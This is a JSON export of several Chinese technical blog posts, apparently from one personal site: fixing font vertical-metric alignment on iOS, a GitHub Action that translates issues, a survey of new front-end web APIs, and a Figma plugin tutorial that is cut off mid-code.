[{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"很早之前，我们团队对接的设计同学推行了一个字体规范，凡是金额价格的数字表达，需要使用他们制作的某个自定义字体，该字体仅包含数字和英文等字符。\n但该字体在后续的大量使用中发现在 iOS 上存在基于 baseline 无法对齐的问题，该问题在 Web 和 Native 场景都有同学反馈。\n这个问题困扰大家久矣，目前大家的解法通常是 baseline 对齐之后，再将数字设置成绝对定位人肉再微调。整体解决方案比较 Hack。\n我们也曾尝试找设计同学，他们反馈这个数字字体他们已经不维护了，要解决的话只能新搞字体成本比较高。鉴于你们不清楚是否是字体产生的这个问题，且你们现在不是有解决方案吗，那就保持现状就好。\n这个回复虽然让人有点无语，但确实比较现实。痛定思痛，我想着求人不如求己。虽然我不会字体设计不清楚原因，但我不会不代表 AI 不会呀！于是在 AI 老师的带领下，我的字体求知之路开始了。\n怎么就对不齐了？ 在此之前我们整体感觉就是这个数字字体偏上所以导致对不齐，且这个问题只在 iOS 中存在，Android 是没有问题的。所以我直接给 AI 下了指令，帮我分析字体的上下空白边距，的确发现上下边距是不一致的，下边距是比较高的。我让其帮我调整字体上下边距一致给我输出调整后的文件。最终 iOS 上使用该修改版确实能达到对齐的效果，但是在 Android 上整体就偏下了。\n到这我就有点不知道怎么办了。直到有同学给了一张图，告知字形轮廓整体偏上，我顺势对比了下 Android 发现是正常的之后。于是我换了个思路，让 AI 分析下为什么 iOS 上数字会偏上，Android 是正常的。\n这个时候 AI 开始发现真相了，他给了好几个关键字 OS/2 sTypo, hhea, usWin 等。告知我是因为这个字体的 hhea 和 OS/2 sTypo 配置不一致导致的。\nOK 我暂时先不管这些东西是什么，先让 AI 按照它发现的问题给我一份修复版的文件看看效果。最终测试下来发现确实返回的字体偏上以及居中的问题都好一些，可以看到数字相对于左侧的标签的是居中对齐了。\n字体格式 在了解问题的原因之前，我们得先补习一些印刷和字体相关的知识。我们都知道活字印刷是通过预先对铅字块进行排版然后像盖章一样印刷。后续进入计算机时代之后，出现了照排技术，可以简单理解就是通过将一个一个字模在相纸上光照显影的形式替换了铅字块进行排版，最终将排版后的相纸进行印刷。再后来就是现在的数码印刷时代，所有的排版都是在电脑端完成，打印机通过感知排版后的效果逐行逐帧打印。\n这里就会涉及到一个字怎么在电脑上存储表达的。我们现在大多数的字体都是轮廓字体。电脑就像是一支“笔”，字体文件中记录了这支笔从哪里开始起笔绘制整体字形的轮廓所有需要的数据。现代字体格式基本上都是这个逻辑，字体格式的本质不是艺术的存储，而是字体在电脑上可编程化的参数表达。\n至于为什么有这么多字体格式，这就涉及到 Adobe, Apple 和 Microsoft 三家巨头公司的爱恨情仇了。\nPostScript PostScript 由 Adobe 在 1984 年推出，是桌面出版领域的革命性技术，使用贝塞尔曲线描述字形轮廓，能用少量数据勾勒出平滑复杂的曲线，支持无限缩放不失真，成为高端印刷和出版行业的标准。它本质是命令型编程语言，通过栈式虚拟机执行图形指令，为后续字体格式奠定了矢量轮廓的核心逻辑 。\n早期 Apple 一直做的是硬件设备，乔布斯比较看好未来数字艺术这块的市场。所以当时和 Adobe 进行了合作，在 Apple 的打印机设备上支持了 PostScript 字体。\nTrueType 但 PostScript 字体有个比较头疼的问题是太编程化了，你让字体设计师去直接写就很痛苦。所以最好是能有个软件来设计这个字体再转成 PostScript 字体文件比较好。所以当时 Apple 希望 Adobe 能把 PostScript 授权给自己，让他们在 Mac 上去做对应的字体软件。\n这在现在看起来是个非常正常的思路，但是在当时闭源的世界大家都是守着自己的垄断软件故步自封。Adobe 担心授权给电脑之后被破解了他们的垄断地位就没有了。我们站在未来的视角看过去就会发现这个决策是非常可笑的。但 Adobe 确实做了这个决定，并在当时为他们的失策付出了惨痛代价。\nApple 在被拒之后痛定思痛，于是自己研发了 TrueType 字体规范，并和 Microsoft 合作进行推广。它的核心目的就是旨在打破 Adobe 在 PostScript 领域的垄断。TrueType 的最大优势是 Apple 吸取了 PostScript 的教训，它选择了公开 TrueType 技术规范。同时它集合了 Windows 和 Mac 未来两大电脑操作系统的支持，所以跨平台兼容性非常好。同时在两家公司的支持下，它保证了电脑屏幕显示和打印输出的一致性。\nOpenType 虽然 Apple 公开了 TrueType 规范本身，但是基于 TrueType 还有很多衍生的技术把持在 Apple 手上。当 Microsoft 由于捆绑 TrueType 赚的盆满钵满的时候，流出羡慕泪水的 Apple 拒绝了 Microsoft 想要更多 TrueType 字体技术的授权的申请，期望通过复刻 Microsoft 通过在自家 Mac 上捆绑来实现类似的商业道路。\n无独有偶，Microsoft 在被拒之后痛定思痛，转手就和 Adobe 合作开发了新的字体格式 OpenType。俗话说的好，商场如战场，敌人的敌人就是朋友嘛！\nOpenType 字体整体沿用了 TrueType 的 sfnt容器，并对其进行了扩展。正因如此，可承载 PostScript CFF/CFF2 或 TrueType glyf 轮廓。在此基础上，OpenType 新增了连字、上下文替换、多语言支持、可变字体轴（2016年 OpenType 1.8加入支持）等高级排版特性，彻底扩展了字体的表现力，如今已成为跨平台字体的事实标准，支持从桌面到 Web 全场景的排版需求。\n最终 Apple 在 Mac OS X 慢慢加入了对 OpenType 的系统支持，这场字体的商战慢慢才告一 段落。\n字体度量 我知道你们很着急，但请先别太着急。知道字体度量之前，我们还需要知道一些字体的基础知识。\n字体设计中，我们会定义一个 em 空间，作为字体的基础区域。基于 Baseline（也就是坐标原点）之上会定义一个上升空间 Ascender，之下会定义一个下降空间 Descender。对选定的一组字体纵向度量，推荐的 baseline-to-baseline distance 通常按以下方式计算：\n行高(Line Heigt）= Ascender - Descender + LineGap 其中定义 Ascender, Descender 和 LineGap 的配置就叫 Vertical Metrics（纵向度量）。当然我这里列举的只是和本文相关的几个参数，纵向度量配置还有一些其他的配置项我就不一一列举了。\n在 TrueType 格式中，使用 hhea 字段来描述相关的配置：\nhhea.ascender hhea.descender hhea.lineGap 后续 Windows 在引入 TrueType 的支持的时候，额外增加了 usWin* 字段来描述最大裁剪区域，包含：\nusWinAscent usWinDescent 再后来到 OpenType 标准规范引入，为了保持兼容性，它并没有废弃 hhea 字段描述，而是额外新增了 sTypo* 字段描述度量配置。它包含：\nsTypoAscender sTypoDescender sTypoLineGap 同时 OpenType 还增加了 USE_TYPO_METRICS 标志，当其值为 1 时优先会读取 sTypo* 度量配置。但不同的操作系统有不同的实现。前文咱们已经知道，Apple 创建了 TrueType 字体格式。作为 TrueType 的亲爹，咱们必须得高优支持 hhea 度量配置呀！\n诚如 AI 所说，我们用字体软件打开字体配置一看，typoDescender 和 hheaDescender 的值明显不一样，且 hheaDescender 的绝对值明显要比 typoDescender 要大。这就解释了为什么 Android 和 iOS 上的表现为什么会不一样，且为什么 iOS 上体感会更靠上。因为 hheaDescender 代表的基线以下的下降高度，下降高度越大，居中对齐时字形就会看起来靠上。\n我们使用 AI 将 hheaDescender 的配置改成和 typoDescender 的配置一致之后，最终双端的表现就拉齐一致了。\n怎么还对不齐？ 我们修改 hhea 配置和 sTypo 一致之后发现，iOS 的表现确实好了不少，但是还是和右侧的元字有轻微的不对齐。这里就涉及到苹方字体中西文和中文字形的设计策略了。AI 告诉我苹方的几个字在本文测试的字体版本、字号和渲染设备上，截图中“元”的可见轮廓中心比数字低约 1px。所以即使按照 baseline 对齐，由于中文更靠下所以在视觉上仍然不会对齐。\n而 Android 使用的系统中文 fallback 通常不是苹方，而是设备对应的 Noto Sans CJK/厂商字体.字形轮廓、ideographic baseline、字体边距，以及系统的文本测量方式都可能不同。\n所以这个问题已经不是修改字体整体配置能解决的了，它确实需要字形去做微调来适配。由于字形的位移适配是统一的，也会影响原本正常渲染的设备。为了保证影响最小化，AI 给我的建议是下移30个单元，实际移动距离不足 1px 在不同的系统上可能会由于渲染的取舍最终抹平差异。\n最终按照 AI 给的建议修改观察双端的效果，基本能比较符合预期了。\n后记 后续为了不影响历史的场景，我将修改后的字体单独整理发布了个新的字体，后续碰到问题的场景再按需替换。现在我们再整体脱水总结下：\n该字体的 hhea 垂直度量配置下降空间要比上升空间大，导致 iOS 中基于该配置渲染的字形垂直居中后依旧整体偏上； 历史原因，字体文件中存在多套度量配置。而 Android 等非 iOS 设备中在 USE_TYPO_METRICS=1 条件下会优先读取的是 sTypo 度量配置，所以 Android 上渲染和 iOS 有差异是正常的； iOS 中苹方字体设计上整体会偏基线靠下，导致基线对齐后视觉还是不对齐。最终通过微调字形下移实现对齐 相关文章：\nhttps://glyphsapp.com/zh/learn/vertical-metrics https://iamvdo.me/en/blog/css-font-metrics-line-height-and-vertical-align https://www.thetype.com/2016/09/10968/ ","count":3303,"date":"2026年07月26日","featuredImage":"/assets/2026/text-align-is-really-hard/banner.webp","permalink":"https://imnerd.org/text-align-is-really-hard.html","summary":"\u003cp\u003e很早之前，我们团队对接的设计同学推行了一个字体规范，凡是金额价格的数字表达，需要使用他们制作的某个自定义字体，该字体仅包含数字和英文等字符。\u003c/p\u003e\n\u003cp\u003e但该字体在后续的大量使用中发现在 iOS 上存在基于 baseline 无法对齐的问题，该问题在 Web 和 Native 场景都有同学反馈。\u003c/p\u003e","time":7,"title":"字体对齐真难啊"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"简介 github-translator 是我最近做的一个小工具。它是一款将非英文的 GitHub issue 和 GitHub discussion 自动翻译成英文的 GitHub Action。https://github.com/lizheming/github-translate-action 已启用该 Action，感兴趣的同学可以直接上仓库测试一下。\n使用 使用其实很简单，在你的项目仓库中新建 .github/workflows/translate.yml 文件，并添加如下内容。它实现了当有 issue 或者 discussion 创建或者修改时会自动翻译并将翻译内容追加到原始的内容后面。\nname: \u0026#39;translator\u0026#39; on: issues: types: [opened, edited] issue_comment: types: [created, edited] discussion: types: [created, edited] discussion_comment: types: [created, edited] jobs: translate: permissions: issues: write discussions: write runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: lizheming/github-translate-action env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: IS_MODIFY_TITLE: true APPEND_TRANSLATION: true 起因 我一直在维护的评论系统 Waline 自身定位为国际化项目，所以一直都在思考如何为非中文的用户提供更多的资料。由于我们的项目中文用户还是占绝大多数，所以我并不想改变大部分用户的习惯强制大家使用英文在 GitHub issue/discussion 交流，于是就有了自动翻译的想法。\n我找了相关的一些工具之后，最终 dromara/issues-translate-action 进入了我的视野。它基本上符合我的诉求，基于 GitHub Action 当有用户发布 issue 的时候就会执行翻译脚本并将翻译内容作为新评论发布出去。\n但发布新评论是有提醒的，这个和我想要不打扰用户的初衷相悖。而且发布新评论上下文看起来会不太流畅，我更期望的是基于原始内容修改。于是乎就 Fork 过来准备增加一个配置项改造下。\n结果在改造的过程中发现原作者的代码写的比较乱，所有的逻辑都在一个文件里写的过程式代码。强迫症的我就将其进行重构，对代码进行简单的函数拆分。\n在阅读代码的过程中发现它使用的是作者自荐的一个账号作为机器人发布评论。如果使用者想要用自己项目的账号的话就需要自己去新建个第三方账号，比较麻烦。之前我一直都知道 GitHub Action 会注入一个机器人的自动令牌来方便我们对 GitHub 进行操作，所以我尝试简化了第三方机器人令牌的操作，直接使用 GitHub Action 令牌让流程变得非常简单。\n除了 GitHub issue，GitHub discussion 也会有很多用户的内容产生，GitHub Action 本身是支持 discussion 的相关事件触发的。\n不过官方却默认没有提供 GitHub discussion 的 RESTful 操作接口，仅提供了 GraphQL 的操作 API。之前一直没有尝试过 GraphQL，而 GitHub Action 又不太支持本地调试，试错的成本比较高。好在经过一段时间的摸索后总算是搞定了。\n使用 GraphQL 的过程中踩了一个坑，在修改 discussion 的接口中需要提交 discussion_id。按照之前 RESTful 接口的操作经验，我惯性的认为这个 discussion_id 就是我们 github discussion url 上的 id。结果执行给我报了个错：\nError: Request failed due to following response errors: - Could not resolve to a node with the global id of \u0026#39;8\u0026#39; 由于根本没想到这个 id 的值有问题，一直认为是哪里的权限或者流程有问题查了半天。最后在《Automate your process with GitHub》的一个举例启发下才想着是不是这个 id 有问题，看了下数据发现有一个 node_id 才恍然大悟。后面就一马平川了，当接口调通的那一刻还是非常开心的！\n将翻译内容追加到内容里的话，有一个点不好解决，当用户再次编辑内容的时候，我如何知道哪些是用户的原始内容，哪些是机翻的内容。这里我取了个巧，在内容中插入了一段固定文案的 HTML 注释。这段注释作为分隔符分隔原始内容和翻译内容，同时在注释中做好说明，让用户不要修改。这样就解决了再编辑的翻译问题。\n原始内容 \u0026lt;!--This is a translation content dividing line, the content below is generated by machine, please do not modify the content below--\u0026gt; 翻译内容 于是乎「github-translator」这个项目就诞生了！\n","count":1296,"date":"2023年05月07日","featuredImage":"https://imnerd.org/assets/2023/github-translator.png","permalink":"https://imnerd.org/github-translator.html","summary":"\u003ch2 id=\"简介\"\u003e简介\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/lizheming/github-translate-action\"\u003egithub-translator\u003c/a\u003e 是我最近做的一个小\u003cspan data-uuid=\"f0276c61-9771-4ade-bb38-c781f77fdd1b\" data-cmt-id=\"64698a3af742a330acfd9bfb\"\u003e\u003c/span\u003e工具\u003cspan data-uuid=\"f0276c61-9771-4ade-bb38-c781f77fdd1b\"\u003e\u003c/span\u003e。它是一款将非英文的 GitHub issue 和 GitHub discussion 自动翻译成英文的 GitHub Action。\u003ca href=\"https://github.com/lizheming/github-translate-action\"\u003ehttps://github.com/lizheming/github-translate-action\u003c/a\u003e 已启用该 Action，感兴趣的同学可以直接上仓库测试一下。\u003c/p\u003e","time":3,"title":"GitHub 自动翻译 GitHub Action"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 有些你不知道是正常的……因为他们基本都没怎么被浏览器实现 🥶\nCSS Toggles https://tabatkins.github.io/css-toggle/\n纯 CSS 实现状态切换一般使用 Checkbox 或者 Radio 配合选择器来实现。实现起来麻烦不说，而且 CheckBox/Radio 的位置限制了你可控制的范围，用起来很不方便。\n交互中越来越多依赖状态，比如 Tab, 弹窗, Summary 等，所以有了原生的状态切换草案。目前还是草案中，不过已经有对应的 Polyfill 了 https://github.com/oddbird/css-toggles\ntoggle-root：定义该元素可切换状态\n\u0026lt;toggle-root\u0026gt; = \u0026lt;custom-ident\u0026gt; [ \u0026lt;toggle-states\u0026gt; [at \u0026lt;toggle-value\u0026gt;]? || \u0026lt;toggle-overflow\u0026gt; || group || self ]? \u0026lt;toggle-states\u0026gt; = \u0026lt;integer [1,∞]\u0026gt; | \u0026#39;[\u0026#39; \u0026lt;custom-ident\u0026gt;{2,} \u0026#39;]\u0026#39; \u0026lt;toggle-value\u0026gt; = \u0026lt;integer [0,∞]\u0026gt; | \u0026lt;custom-ident\u0026gt; \u0026lt;toggle-overflow\u0026gt; = cycle | cycle-on | sticky // mode // mode 1 at 0 cycle wide // mode 3 at 0 // mode [light dark] at light toggle-overflow 定义设置的值超出之后的行为，针对数字类型有效\ncycle / cycle-on: 比最小值小则为最大值，比最大值大则为 0 / 1 sticky: 最小值 \u0026lt;= value \u0026lt;= 最大值 self 定义触发元素和可切换元素的查找关系：\nwide: 任意 narrow: 必须是父子关系 toggle-rigger：定义该元素为 的切换触发器\n\u0026lt;toggle-trigger\u0026gt; = \u0026lt;custom-ident\u0026gt; \u0026lt;trigger-action\u0026gt;? \u0026lt;trigger-action\u0026gt; = [prev | next] \u0026lt;integer [1,∞]\u0026gt;? | set \u0026lt;toggle-value\u0026gt; // mode // mode next 1 // mode prev 1 // mode next 2 // mode 2 // mode set light :toggle()：根据 值选择元素\ntoggle：当可切换元素和切换触发器元素为同一个时，可使用 toggle 进行简写\ntoggle-group：指定该元素为 的组内元素\n我们可以通过 Element.toggles() 来获取可切换元素的所有切换状态枚举，也通过 Element.addEventListener('togglechange', ...) 获取当前可切换元素的当前状态。\n更多示例见：https://toggles.oddbird.net\nPopUp API https://open-ui.org/components/popup.research.explainer\n如果要自己从 0 开始写一个弹窗是比较麻烦的，需要考虑很多事情：全屏浮层，内容居中，页面滚动失效，遮罩点击关闭，ESC 按下关闭\u0026hellip;\n所以就有好多组件封装，虽然原生已经有 \u0026lt;dialog\u0026gt; 标签可以干类似的事情了。但毕竟还是有点原始，所以 Chrome 就将 PopUp 原生实现了~~（真卷啊）~~。\npopup: auto | hint | manual 默认为 auto，指定多弹窗的关系 popuptoggletarget：指向带有 popup 属性的元素 id，用来切换 popup 元素的显隐 popupshowtarget：指向带有 popup 属性的元素 id，用来显示 popup 元素 popuphidetarget：指向带有 popup 属性的元素 id，用来隐藏 popup 元素 Element.showPopUp() Element.hidePopUp() 目前仅最新的 Chromium 生效 :-) 还有些问题~ https://chromestatus.com/feature/5463833265045504\nCSS 作用域 https://www.w3.org/TR/css-scoping-1/\n以往我们要实现 CSS 作用域，组件之间样式不互相影响，一般就是 BEM 命名或者 CSS Module, CSS in JS 之流最终生成带 hash 的唯一选择器伪实现，亦或是使用 Shadow DOM 这种高成本的完美实现。\n现在我们能直接使用 @``scope 来实现样式隔离了！\n图来自：https://weibo.com/1708684567/LzHEY1wGm\n不用太多介绍，简单好用~\nstructuredClone https://developer.mozilla.org/en-US/docs/Web/API/structuredClone\n原生的深拷贝方法，可以对结构化数据进行深拷贝，避免 JSON.parse(JSON.stringify()) 的尴尬。\nstructuredClone(value: any, { transfer?: any[] }) 不允许克隆Error、Function和DOM对象，如果对象中含有，将抛出DATA_CLONE_ERR异常。 不保留RegExp 对象的 lastIndex 字段。 不保留属性描述符，setters 以及 getters（以及其他类似元数据的功能）。例如，如果一个对象用属性描述符标记为 read-only，它将会被复制为 read-write。 不保留原型链。 Navigation API SPA 的基石路由管理，早有 History API 支持，但因为本质是历史记录的管理，缺少一些切换后的控制等功能，所以 Chrome 从新提出了 Navigation API 来专门实现路由管理。\nnavigation.addEventListener(\u0026#39;navigate\u0026#39;, navigateEvent =\u0026gt; { if (shouldNotIntercept(navigateEvent)) return; const url = new URL(navigateEvent.destination.url); if (url.pathname === \u0026#39;/\u0026#39;) { navigateEvent.intercept({handler: loadIndexPage}); } else if (url.pathname === \u0026#39;/cats/\u0026#39;) { navigateEvent.intercept({handler: loadCatsPage}); } }); navigateEvent包含以下信息：\ncanIntercept 是否支持拦截，跨域等无法拦截场景会返回 false destination.url 跳转目标地址 hashChange是否是锚点跳转 userInitiated 是否是由页面内 \u0026lt;a\u0026gt; 标签触发的跳转，为 false 表示是浏览器前进后退等触发的跳转 downloadRequest是否是由具有download属性的链接带来的跳转 formData表单跳转时对应提交的表单数据，可以针对 Form 表单拦截后发送数据 navigationType枚举值\u0026quot;reload\u0026quot;, \u0026quot;push\u0026quot;,\u0026quot;replace\u0026quot;或\u0026quot;traverse\u0026quot;（类似 history.goBack()）之一。如果是\u0026quot;traverse\u0026quot;，则无法通过preventDefault()阻止跳转 signal 提供给拦截 handler 中异步请求使用，方便当跳转终端后同步中断请求 scroll()控制跳转后滚动，在异步 handler 中比较有用，可能会多次滚动 function shouldNotIntercept(navigationEvent) { return ( !navigationEvent.canIntercept || navigationEvent.hashChange || navigationEvent.downloadRequest || navigationEvent.formData ); } signal 和 scroll() 的例子：\nnavigation.addEventListener(\u0026#39;navigate\u0026#39;, navigateEvent =\u0026gt; { if (shouldNotIntercept(navigateEvent)) return; const url = new URL(navigateEvent.destination.url); if (url.pathname.startsWith(\u0026#39;/articles/\u0026#39;)) { navigateEvent.intercept({ async handler() { // The URL has already changed, so quickly show a placeholder. renderArticlePagePlaceholder(); // Then fetch the real data. const articleContentURL = new URL( \u0026#39;/get-article-content\u0026#39;, location.href ); articleContentURL.searchParams.set(\u0026#39;path\u0026#39;, url.pathname); const response = await fetch(articleContentURL, { signal: navigateEvent.signal, }); const articleContent = await response.json(); renderArticlePage(articleContent); navigateEvent.scroll(); const secondaryContent = await getSecondaryContent(url.pathname); addSecondaryContent(secondaryContent); }, }); } }); // navigate const { committed, finished } = navigation.navigate(\u0026#39;/articles/hello-world\u0026#39;); 设置好跳转拦截回调后，我们就能正常使用 navigation.navigate() 进行跳转了。返回两个 Promise 对象，分别对应 Navigate 完成的状态 committed，以及导航拦截的回调 Handler 结束的状态 finished。\n比起 History API 惊喜的是，我们可以通过 navigation.entries() 获取当前所有的历史记录。通过 navigation.currentEntry 返回当前的记录。\nnavigation.entries() 获取的只能是同域的历史记录，跨域的无法获取。\n兼容性：https://caniuse.com/mdn-api_navigation_navigate\nURLPattern https://developer.mozilla.org/en-US/docs/Web/API/URL_Pattern_API\n可以算是原生版的 path-to-regexp ，用来做 URL 格式匹配解析的。最开始是因为 service worker 场景有解析拦截的资源请求地址的需求创造，但适用所有 URL 解析场景。\n虽然 URLPattern 可以解析完整的域名，但一般 hostname 相关可以用 URL 解析，query 可以使用 URLSearchParams 解析。所以其实用的比较多的场景还是 pathname 的解析。\nconst pattern = new URLPattern({ pathname: \u0026#39;/books/:id(\\\\d+)\u0026#39; }); console.log(pattern.test(\u0026#39;https://example.com/books/123\u0026#39;)); // true console.log(pattern.exec(\u0026#39;https://example.com/books/123\u0026#39;).pathname.groups); // { id: \u0026#39;123\u0026#39; } console.log(pattern.test(\u0026#39;https://example.com/books/detail\u0026#39;)); // false 使用 :\u0026lt;group\u0026gt; 来为当前匹配内容分组 {}是非捕获组，相当于正则中的 (?:)，可以在后面增加{}?表示可选，不加的话其实可有可无 (正则表达式)也可以通过正则进行精确匹配，可以跟在命名分组的后面，相当于(?\u0026lt;group\u0026gt;正则表达式)。内部正则关键字需要做转义处理。 * 表示贪婪匹配，独立使用相当于正则 .*，也可以搭配在前几个规则后使用，例如 :id* + 相当于 {1,} 不可独立使用 使用 URLPattern 而不是自己使用正则解析的一个好处就是它会帮助我们把 URL 规范化之后再进行解析，而不是简单的做一个字符串的正则转换匹配。\n目前仅 Chrome 系兼容性还行，Node 也暂时还没有跟上版本。不过有对应的 Polyfill 了已经。\n图片 https://developer.mozilla.org/en-US/docs/Web/CSS/aspect-ratio\n如果需要按比例显示图片，一般会保持比例设置 DOM 尺寸后使用 background-image 或者使用 \u0026lt;img\u0026gt; 来展示，比较不便。所以增加了 aspectio-ratio 属性直接支持设置图片显示的比例。\n配合 object-fit 属性指定图片比例不对的时候填充模式，食用更加。\nimg { aspect-ratio: 16 / 9; object-fit: contain; } https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-loading\nobject-fit 的兄弟属性 object-position：用于指定图片的展示区域\nhttps://developer.mozilla.org/en-US/docs/Web/CSS/object-position\n为了性能优化我们一般都会为图片增加懒加载的支持，这个官方也做了原生的支持。\n\u0026lt;img src=\u0026#34;image.jpg\u0026#34; alt=\u0026#34;...\u0026#34; loading=\u0026#34;lazy\u0026#34;\u0026gt; https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images\n为了更好的性能优化，我们一般会从图片尺寸和图片格式上对图片资源进行处理，此为响应式图片。\n关于图片格式，静图有 jpg,png,webp,avif,jpeg XL 这些格式。动图有 gif,apng,webp,avif之这些格式。avif 是基于视频编码 AV1 衍生的图片格式。针对不同的浏览器适配不同的格式，我们可以使用 \u0026lt;picture\u0026gt; 进行图片渲染。\n\u0026lt;picture\u0026gt; \u0026lt;source type=\u0026#34;image/avif\u0026#34; srcset=\u0026#34;....avif\u0026#34; /\u0026gt; \u0026lt;img src=\u0026#34;....webp\u0026#34; loading=\u0026#34;lazy\u0026#34; /\u0026gt; \u0026lt;/picture\u0026gt; 除了格式之外，我们还可以按照分辨率来设置，图片尺寸也不在话下。综合如下：\n\u0026lt;style\u0026gt; img { width: 320px; aspect-ratio: 320 / 240; object-fit: contain; } \u0026lt;/style\u0026gt; \u0026lt;picture\u0026gt; \u0026lt;source type=\u0026#34;image/avif\u0026#34; srcset=\u0026#34;...320x240.avif 1x ...640x480.avif 2x ...960x720.avif 3x\u0026#34; /\u0026gt; \u0026lt;img srcset=\u0026#34;...320x240.webp 1x ...640x480.webp 2x ...960x720.webp 3x\u0026#34; src=\u0026#34;....webp\u0026#34; loading=\u0026#34;lazy\u0026#34; /\u0026gt; \u0026lt;/picture\u0026gt; 参考资料：\nThe Future of CSS: CSS Toggles 有哪些以往需要使用javascript实现的功能现在可以直接使用html或者css实现? - 知乎 Scope Proposal \u0026amp; Explainer Proposal for CSS @when | CSS-Tricks JS 深拷贝的原生终结者 structuredClone API - 掘金 https://developer.chrome.com/docs/web-platform/navigation-api/ URLPattern brings routing to the web platform https://web.dev/learn/design/picture-element/ ","count":2890,"date":"2022年09月13日","featuredImage":"https://imnerd.org/assets/2022/front-end-new-feature-you-dont-know/banner.png","permalink":"https://imnerd.org/front-end-new-feature-you-dont-know.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e有些你不知道是正常的……因为他们基本都没怎么被浏览器实现 🥶\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"css-toggles\"\u003eCSS Toggles\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://tabatkins.github.io/css-toggle/\"\u003ehttps://tabatkins.github.io/css-toggle/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e纯 CSS 实现状态切换一般使用 Checkbox 或者 Radio 配合选择器来实现。实现起来麻烦不说，而且 CheckBox/Radio 的位置限制了你可控制的范围，用起来很不方便。\u003c/p\u003e","time":6,"title":"你不知道的前端新特性"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"Figma 是一款专业的在线 UI 设计工具，它因为个人使用免费、在线跨平台、多人协作、蓬勃的 Figma Community 社区组织而广受欢迎。目前设计团队都在使用 Figma 进行 UI 设计交付。\n能被 SaaS 化的终将被 SaaS 化\nFigma 本身是 Web 服务，其客户端也是使用 Electron 进行的封装。所以它的插件系统是前端友好型，和日常前端开发没有什么太大的区别。\n插件原理 Figma 的插件也采用了双线程的架构。UI 线程能获得完整 Web 的能力，但是无法直接操作 Figma；主线程则相反，可以通过 Figma API 对数据进行操作，但无完整的 Web 能力，仅有 JS 执行以及 Figma API 支持。两者通过 postMessage 进行通信。\n根据官方文章描述，通过 WebAssembly 版的 QuickJS 来实现主线程的沙箱执行，UI 线程则是通过 iframe 执行。\n采用这种方案的原因主要是既想保证代码隔离，但是又希望能方便的操作 Figma 数据。\n根据官博文章描述，之前也曾有尝试使用 Web 原生的沙盒 API Realms 来实现主线程的沙盒执行，但因为该 API 的一些安全漏洞还是回退回了 QuickJS 的实现。\n了解了插件的原理之后，下面我就以帮助设计师同学快速插入占位图的插件 Placeholder 为例，带大家一步一步的了解如何进行 Figma 插件开发。\n需求整理 在进行插件开发之前，我们捋一捋我们需要实现的功能。http://placeimg.com/ 是一个专门用来生成占位图的网站，我们将利用该网站提供的服务制作一个生成指定大小的占位图并插入到 Sketch 画板中的功能。插件会提供一个面板，可以让使用者输入尺寸、分类等可选项，同时提供插入按钮，点击后会在画板插入一张图片图层。\n项目结构 在 Figma 客户端中按照如上操作即可完成插件的初始化。除了默认的三个例子之外，官方也有一个示例插件的仓库，也可以参考。\nhttps://github.com/figma/plugin-samples\nFigma 插件默认推荐使用 TypeScript 开发，官方提供了完善的 TypeScript 类型支持。以默认的带 UI 的模板为例，初始化后进入文件夹 npm i 安装依赖后执行 npm run build 编译完成后点击插件即可看到效果。\n. ├── README.md ├── code.js ├── code.ts ├── manifest.json ├── package-lock.json ├── package.json ├── tsconfig.json └── ui.html manifest.json 可以看到整体的接口和大多数 JS 项目一样，其中 manifest.json 用来记录插件的信息。manifest.json 这个文件大家可以理解为是 Figma 插件的 package.json 文件。我们来看看默认生成的 manifest.json。\n{ \u0026#34;name\u0026#34;: \u0026#34;figma-placeimg\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;1117699210834344763\u0026#34;, \u0026#34;api\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;code.js\u0026#34;, \u0026#34;editorType\u0026#34;: [ \u0026#34;figma\u0026#34; ], \u0026#34;ui\u0026#34;: \u0026#34;ui.html\u0026#34; } 其中重点的是 main 和 ui 两个字段：\nmain：指定插件的入口文件，该文件中的代码会运行在主进程中的沙箱里。 ui: 指定插件的 UI 代码文件，该文件中的代码会运行在 iframe 中。实际上，UI 代码文件的内容会作为字符串传递给 figma 内置变量 __html__，在沙箱内可以通过 figma.showUI(__html__) 创建 iframe。 这里注意到是将UI代码文件中的内容作为字符串注入到主线程中，类似 \u0026lt;iframe srcdoc=\u0026quot;__html__\u0026quot; /\u0026gt;。这就导致了我们无法直接引用插件中的其他资源，所有插件内依赖的资源都需要内嵌到最终的字符串中。\nui 字段也支持指定多个文件，当指定多个文件的时候会注入 __uiFiles__ 对象来映射文件。 manifest.json 中还支持通过 menu 字段定义插件的菜单。如果不想写 UI 也可以通过parameters指定支持的指令，直接通过输入指令来操作也是可以的。更多的配置可以查看官方文档 Plugin Manifest。\n插件开发 一些基本原理了解清楚之后我们就可以进行插件的开发了。首先我们需要用户点击插件菜单之后打开一个面板，该面板可以配置尺寸、分类等基础信息。\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://unpkg.com/figma-plugin-ds@1.0.1/dist/figma-plugin-ds.css\u0026#34;\u0026gt; \u0026lt;style\u0026gt; .content { display: flex; } .icon--swap { animation: rotate 1s linear infinite; } .hide { display: none; } @keyframes rotate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } \u0026lt;/style\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;field\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;\u0026#34; class=\u0026#34;label\u0026#34;\u0026gt;请输入图片尺寸：\u0026lt;/label\u0026gt; \u0026lt;div class=\u0026#34;content\u0026#34; style=\u0026#34;padding-left: 10px;\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;input\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;input\u0026#34; class=\u0026#34;input__field\u0026#34; placeholder=\u0026#34;宽\u0026#34; 